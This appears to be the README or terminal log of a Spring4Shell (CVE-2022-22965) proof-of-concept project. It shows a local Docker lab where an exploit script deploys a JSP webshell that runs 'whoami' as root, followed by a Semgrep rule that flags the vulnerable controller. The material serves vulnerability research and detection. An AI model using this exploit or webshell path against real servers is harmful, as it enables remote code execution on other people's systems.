springshell-rce-poc

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

$ semgrep --config=semgrep-rule.yml .

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.